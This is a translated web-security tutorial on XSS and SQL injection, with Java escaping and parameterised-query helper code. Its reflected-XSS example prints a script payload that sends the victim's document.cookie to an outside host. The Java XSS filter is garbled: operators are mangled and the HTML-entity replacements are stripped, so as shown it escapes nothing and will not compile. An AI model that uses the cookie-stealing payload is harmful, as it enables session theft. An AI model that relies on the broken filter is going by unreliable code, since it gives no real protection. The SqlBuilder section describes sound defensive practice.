WEB security: Introduction and solutions to XSS and SQL Injection Vulnerabilities
1. Cross-site scripting (XSS)
How XSS attacks work
XSS, also known as CSS (Cross Site Script), is a Cross-Site scripting attack. It indicates that a malicious attacker inserts malicious script code into a Web page, and the program does not filter user input. When a user browses this page, the script code embedded in the Web is executed to attack users maliciously.
Dangers of cross-site scripting attacks
- Cookie Theft
- Worm
- Phishing
...
Cross-site scripting attack classification
- Stored XSS
- Reflected XSS
- DOM-type XSS
XSS Case Analysis
1) reflected XSS
XSS attackers construct a problematic page by constructing a URL. When others click this page, they will find a page error or some js scripts are secretly executed, the attack takes effect.
In general, some content in the url is written back in the dynamic page. Take the following example:
Http://xxx.xxx.com.cn/intf/_photos.jsp? Callback = <script> window. location. href = "http://www.baidu.com? A = "+ escape (document. cookie) </script>
If the parameter <script> xxx </script> is not escaped, a script is embedded in the page. when the request is received, the script is executed. A dialog box is displayed, prompting you. Other malicious code may cause damage.
In the following cases, the request jumps to Baidu and the queried cookie value is also displayed.
The result will result in:
How to defend?
Filter the required parameters. See the following XSS filter code.
Import java.net. URLEncoder;/*** tool class for filtering invalid characters **/public class EncodeFilter {// filter most html characters public static String encode (String input) {if (input = null) {return input;} StringBuilder sb = new StringBuilder (input. length (); for (int I = 0, c = input. length (); I <c; I ++) {char ch = input. charAt (I); switch (ch) {case '&': sb. append ("&"); break; case '<': sb. append ("<"); break; case '>': sb. append (">"); break; case '"': sb. append ("); break; case '\'': sb. append ("'"); break; case'/': sb. append ("/"); break; default: sb. append (ch) ;}} return sb. toString ();} // filter public static String encodeForJS (String input) {if (input = null) {return input;} StringBuilder sb = new StringBuilder (input. length (); for (int I = 0, c = input. length (); I <c; I ++) {char ch = input. charAt (I); // do not encode alphanumeric characters and ',''. ''_ 'if (ch> = 'A' & ch <= 'Z' | ch> = '0' & ch <= '9' | ch = ', '| ch = '. '| ch =' _ ') {sb. append (ch);} else {String temp = Integer. toHexString (ch); // encode up to 256 with \ xHH if (ch <256) {sb. append ('\\'). append ('x'); if (temp. length () = 1) {sb. append ('0');} sb. append (temp. toLowerCase (); // otherwise encode with \ uHHHH} else {sb. append ('\\'). append ('U'); for (int j = 0, d = 4-temp. length (); j <d; j ++) {sb. append ('0');} sb. append (temp. toUpperCase () ;}} return sb. toString ();}/*** invalid css character filtering * http://www.w3.org/TR/CSS21/syndata.html#escaped-characters */Public static String encodeForCSS (String input) {if (input = null) {return input;} StringBuilder sb = new StringBuilder (input. length (); for (int I = 0, c = input. length (); I <c; I ++) {char ch = input. charAt (I ); // check for alphanumeric characters if (ch> = 'A' & ch <= 'Z' | ch> = '0' & ch <= '9 ') {sb. append (ch);} else {// return the hex and end in whitespace to terminate sb. append ('\\'). append (Integer. toHexString (ch )). append ('');} return sb. toString ();}/*** URL parameter encoding * http://en.wikipedia.org/wiki/Percent-encoding */Public static String encodeURIComponent (String input) {return encodeURIComponent (input, "UTF-8");} public static String encodeURIComponent (String input, String encoding) {if (input = null) {return input;} String result; try {result = URLEncoder. encode (input, encoding);} catch (Exception e) {result = "";} return result;} public static boolean isValidURL (String input) {if (input = null | input. length () <8) {return false;} char ch0 = input. charAt (0); if (ch0 = 'H') {if (input. charAt (1) = 'T' & input. charAt (2) = 'T' & input. charAt (3) = 'P') {char methane = input. charAt (4); if (methane = ':') {if (input. charAt (5) = '/' & input. charAt (6) = '/') {return isValidURLChar (input, 7);} else {return false ;}} else if (methane ='s ') {if (input. charAt (5) = ':' & input. charAt (6) = '/' & input. charAt (7) = '/') {return isValidURLChar (input, 8);} else {return false ;}} else {return false ;}} else if (ch0 = 'F') {if (input. charAt (1) = 'T' & input. charAt (2) = 'P' & input. charAt (3) = ':' & input. charAt (4) = '/' & input. charAt (5) = '/') {return isValidURLChar (input, 6);} else {return false ;}} return false ;} static boolean isValidURLChar (String url, int start) {for (int I = start, c = url. length (); I <c; I ++) {char ch = url. charAt (I); if (ch = '"' | ch = '\'') {return false ;}} return true ;}}
SQL Injection Vulnerability
Principles of SQL injection attacks
You can use the parameters you enter to piece together SQL query statements so that you can control SQL query statements. For more information about SQL injection, see: SQL Injection Attack and Defense Quick Start
Defense methods
- Use precompiled statements,
- Bind Variable
- Use secure stored procedures
- Check Data Type
- Use security functions
Recommended method: Do not use concatenated SQL statements and use placeholders, such as using JdbcTemplate,
The following provides a solution: Replace the appearance of Concatenated SQL statements with the following functions.
import java.util.ArrayList;import java.util.HashMap;import java.util.List;import java.util.Map;public class SqlBuilder { protected StringBuilder sqlBuf = new StringBuilder(); protected List<Object> values = new ArrayList<Object>(); protected Map<String, Object> paramMap = new HashMap<String, Object>(); public SqlBuilder appendSql(String sql) { sqlBuf.append(sql); return this; } public SqlBuilder appendValue(Object value) { sqlBuf.append('?'); values.add(value); return this; } public SqlBuilder appendValues(Object[] values) { sqlBuf.append('('); for (int i = 0, c = values.length; i < c; ++i) { sqlBuf.append('?').append(','); this.values.add(values[i]); } int last = sqlBuf.length() - 1; if (last > 0 && sqlBuf.charAt(last) == ',') { sqlBuf.setCharAt(last, ')'); } return this; } public SqlBuilder appendEqParam(String param, Object value) { sqlBuf.append(param).append(" = :").append(param); paramMap.put(param, value); return this; } public SqlBuilder appendLtParam(String param, Object value) { sqlBuf.append(param).append(" < :").append(param); paramMap.put(param, value); return this; } public SqlBuilder appendGtParam(String param, Object value) { sqlBuf.append(param).append(" > :").append(param); paramMap.put(param, value); return this; } public SqlBuilder appendInParam(String param, Object ... values) { if(values == null) { return this; } sqlBuf.append(param).append(" in ("); int len = values.length; for(int i = 0; i < len; i++) { if(i != 0) { sqlBuf.append(", "); } sqlBuf.append(":").append(param).append(i); paramMap.put(param+i, values[i]); } sqlBuf.append(")"); return this; } public SqlBuilder appendLikeParam(String param, Object value) { sqlBuf.append(param).append(" like :").append(param); paramMap.put(param, "%"+value+"%"); return this; } public String getSql() { return sqlBuf.toString(); } public Object[] getValues() { return values.toArray(); } public Map<String, Object> getParamMap() { return paramMap; }}
The above two vulnerabilities are common for web development. In addition, they also include denial of service (DoS) attacks, Cross-Site Request Forgery (CSRF), and open redirection vulnerabilities. Learn more later !!!